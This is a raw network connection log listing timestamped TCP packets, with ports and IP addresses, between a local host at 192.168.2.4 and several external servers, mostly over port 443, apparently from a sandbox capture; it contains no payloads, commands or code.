Dec 21, 2024 08:40:04.863398075 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:04.913127899 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:05.048970938 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:05.048985958 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:05.049031973 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:05.049082994 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:05.049114943 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:05.049139977 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:05.093703985 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:05.098289013 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:05.098320961 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:05.098370075 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:05.098418951 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:05.098490953 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:05.098512888 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:05.098512888 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:05.098512888 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:05.098548889 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:05.098623991 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:05.098639011 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:05.098712921 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:05.101732969 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:05.259975910 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:05.260015965 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:05.260162115 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:05.260716915 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:05.260730982 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:06.643565893 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:06.643682003 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:06.648614883 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:06.648627043 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:06.649136066 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:06.651550055 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:06.699326992 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.143553972 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.143588066 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.143645048 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.143676996 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.143795967 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.151506901 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.151580095 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.168545961 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.168627977 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.263163090 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.263257980 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.338920116 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.339008093 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.350394964 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.350488901 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.367085934 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.367188931 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.383907080 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.384135962 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.392321110 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.392400980 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.406318903 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.406405926 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.417474031 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.417587996 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.454387903 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.454462051 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.528939009 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.529028893 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.535399914 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.535485029 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.545063019 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.545216084 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.549649000 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.549730062 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.558274984 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.558360100 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.562452078 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.562531948 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.562544107 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.562593937 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.562632084 CET	443	49731	91.134.82.79	192.168.2.4
Dec 21, 2024 08:40:07.562689066 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:07.562819958 CET	49731	443	192.168.2.4	91.134.82.79
Dec 21, 2024 08:40:14.412651062 CET	49735	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:14.412767887 CET	443	49735	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:14.412859917 CET	49735	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:14.413868904 CET	49736	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:14.413969994 CET	443	49736	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:14.414467096 CET	49736	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:14.414527893 CET	49735	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:14.414566040 CET	443	49735	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:14.415174961 CET	49736	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:14.415215015 CET	443	49736	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:15.853899002 CET	49672	443	192.168.2.4	173.222.162.32
Dec 21, 2024 08:40:15.853950024 CET	443	49672	173.222.162.32	192.168.2.4
Dec 21, 2024 08:40:15.877249956 CET	443	49735	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:15.877511978 CET	49735	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:15.877578020 CET	443	49735	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:15.879159927 CET	443	49735	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:15.879240036 CET	49735	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:15.881908894 CET	443	49736	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:15.883039951 CET	49735	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:15.883157969 CET	443	49735	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:15.883219957 CET	49736	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:15.883253098 CET	443	49736	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:15.884253979 CET	49735	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:15.884285927 CET	443	49735	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:15.884768009 CET	443	49736	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:15.884835958 CET	49736	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:15.885289907 CET	49736	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:15.885379076 CET	443	49736	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:15.928292036 CET	49735	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:15.928420067 CET	49736	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:15.928482056 CET	443	49736	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:16.067034006 CET	49736	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:16.501687050 CET	443	49735	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:16.501751900 CET	443	49735	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:16.501925945 CET	443	49735	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:16.501996040 CET	49735	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:16.504805088 CET	49735	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:16.504874945 CET	443	49735	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:16.641412020 CET	49736	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:16.683373928 CET	443	49736	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:17.108741045 CET	443	49736	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:17.108931065 CET	443	49736	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:17.108994961 CET	49736	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:17.117439032 CET	49736	443	192.168.2.4	192.124.216.109
Dec 21, 2024 08:40:17.117502928 CET	443	49736	192.124.216.109	192.168.2.4
Dec 21, 2024 08:40:18.414527893 CET	49742	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:40:18.414571047 CET	443	49742	172.217.19.228	192.168.2.4
Dec 21, 2024 08:40:18.414633036 CET	49742	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:40:18.414868116 CET	49742	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:40:18.414884090 CET	443	49742	172.217.19.228	192.168.2.4
Dec 21, 2024 08:40:20.121135950 CET	443	49742	172.217.19.228	192.168.2.4
Dec 21, 2024 08:40:20.234200001 CET	49742	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:40:20.247154951 CET	49742	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:40:20.247164011 CET	443	49742	172.217.19.228	192.168.2.4
Dec 21, 2024 08:40:20.251205921 CET	443	49742	172.217.19.228	192.168.2.4
Dec 21, 2024 08:40:20.251241922 CET	443	49742	172.217.19.228	192.168.2.4
Dec 21, 2024 08:40:20.251334906 CET	49742	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:40:20.268048048 CET	49742	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:40:20.268521070 CET	443	49742	172.217.19.228	192.168.2.4
Dec 21, 2024 08:40:20.424298048 CET	49742	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:40:20.424305916 CET	443	49742	172.217.19.228	192.168.2.4
Dec 21, 2024 08:40:20.529870987 CET	49742	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:40:21.780606985 CET	49723	80	192.168.2.4	2.16.168.117
Dec 21, 2024 08:40:21.901690960 CET	80	49723	2.16.168.117	192.168.2.4
Dec 21, 2024 08:40:21.901751995 CET	49723	80	192.168.2.4	2.16.168.117
Dec 21, 2024 08:40:29.802373886 CET	443	49742	172.217.19.228	192.168.2.4
Dec 21, 2024 08:40:29.802520990 CET	443	49742	172.217.19.228	192.168.2.4
Dec 21, 2024 08:40:29.802653074 CET	49742	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:40:31.030765057 CET	49742	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:40:31.030863047 CET	443	49742	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:05.821691036 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:05.821738005 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:05.821893930 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:05.821988106 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:05.821996927 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:07.516933918 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:07.536267042 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:07.536292076 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:07.537791967 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:07.537873983 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:07.540344954 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:07.540402889 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:07.542757988 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:07.542896032 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:07.542903900 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:07.542927027 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:07.542936087 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:07.543118954 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:07.610115051 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:07.610125065 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:07.724164009 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.235337019 CET	49794	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.235375881 CET	443	49794	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:08.235793114 CET	49794	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.236663103 CET	49794	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.236677885 CET	443	49794	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:08.340629101 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:08.344362020 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:08.344453096 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.353399992 CET	49785	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.353420973 CET	443	49785	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:08.356663942 CET	49796	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.356693983 CET	443	49796	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:08.356789112 CET	49796	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.357099056 CET	49796	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.357114077 CET	443	49796	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:08.360465050 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.360511065 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:08.360574961 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.364492893 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.364510059 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:08.687551022 CET	49802	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.687602043 CET	443	49802	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:08.687968016 CET	49802	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.687968016 CET	49802	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:08.688011885 CET	443	49802	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:08.884676933 CET	49724	80	192.168.2.4	2.16.168.117
Dec 21, 2024 08:41:09.004695892 CET	80	49724	2.16.168.117	192.168.2.4
Dec 21, 2024 08:41:09.004827023 CET	49724	80	192.168.2.4	2.16.168.117
Dec 21, 2024 08:41:09.935204983 CET	443	49794	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:09.935473919 CET	49794	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:09.935486078 CET	443	49794	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:09.936738968 CET	443	49794	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:09.948683977 CET	49794	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:09.948865891 CET	49794	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:09.948865891 CET	49794	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:09.948865891 CET	443	49794	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:09.949043989 CET	443	49794	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.047096014 CET	443	49796	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.047482967 CET	49796	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.047517061 CET	443	49796	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.048378944 CET	443	49796	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.048672915 CET	49796	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.048794031 CET	443	49796	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.048827887 CET	49796	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.048875093 CET	49796	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.048952103 CET	443	49796	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.056773901 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.056956053 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.056986094 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.057497978 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.057559013 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.058499098 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.058553934 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.058886051 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.058964014 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.059031963 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.059040070 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.059098959 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.059109926 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.059123039 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.059173107 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.059216976 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.071521997 CET	49794	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.385989904 CET	443	49802	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.386286974 CET	49802	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.386320114 CET	443	49802	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.387079954 CET	443	49802	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.387165070 CET	49802	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.387808084 CET	443	49802	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.387864113 CET	49802	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.388041973 CET	49802	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.388104916 CET	443	49802	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.388353109 CET	49802	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.388361931 CET	443	49802	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.388520956 CET	49802	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.388550997 CET	443	49802	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.695415020 CET	443	49794	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.698987961 CET	443	49794	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.699054003 CET	49794	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.701927900 CET	49794	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.701951027 CET	443	49794	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.790286064 CET	443	49796	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.792926073 CET	443	49796	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.792985916 CET	49796	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.793230057 CET	49796	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.793255091 CET	443	49796	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.890373945 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.893877029 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:10.893970013 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.894552946 CET	49797	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:10.894565105 CET	443	49797	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:11.121983051 CET	443	49802	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:11.124372005 CET	443	49802	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:11.124507904 CET	49802	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:11.124584913 CET	49802	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:11.124594927 CET	443	49802	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:11.331197977 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:11.331233025 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:11.331288099 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:11.331398010 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:11.331499100 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:11.331562996 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:11.331602097 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:11.331615925 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:11.331792116 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:11.331825972 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.029848099 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.033018112 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.040426970 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.040491104 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.040525913 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.040563107 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.042190075 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.042260885 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.043663025 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.043742895 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.049844980 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.050033092 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.050744057 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.050856113 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.050863028 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.050950050 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.050960064 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.050997972 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.116771936 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.116810083 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.222908020 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.315840006 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.380083084 CET	49826	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:13.380130053 CET	443	49826	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:13.380218029 CET	49826	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:13.380546093 CET	49826	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:13.380575895 CET	443	49826	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:13.709948063 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.710015059 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.710069895 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.710095882 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.710170984 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.710213900 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.710221052 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.711427927 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.711496115 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.711534977 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.711585999 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.711586952 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.711611032 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.711652994 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.719551086 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.719602108 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.723093987 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.723154068 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.723160982 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.724900007 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.731765985 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.731827021 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.731834888 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.731874943 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.731916904 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.731925011 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.743421078 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.743485928 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.743490934 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.821327925 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.821338892 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.830965042 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.831028938 CET	49818	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.831037045 CET	443	49818	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.835968971 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.836025953 CET	49819	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:13.836036921 CET	443	49819	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:13.902241945 CET	443	49818	142.250.181.46	192.168.2.4
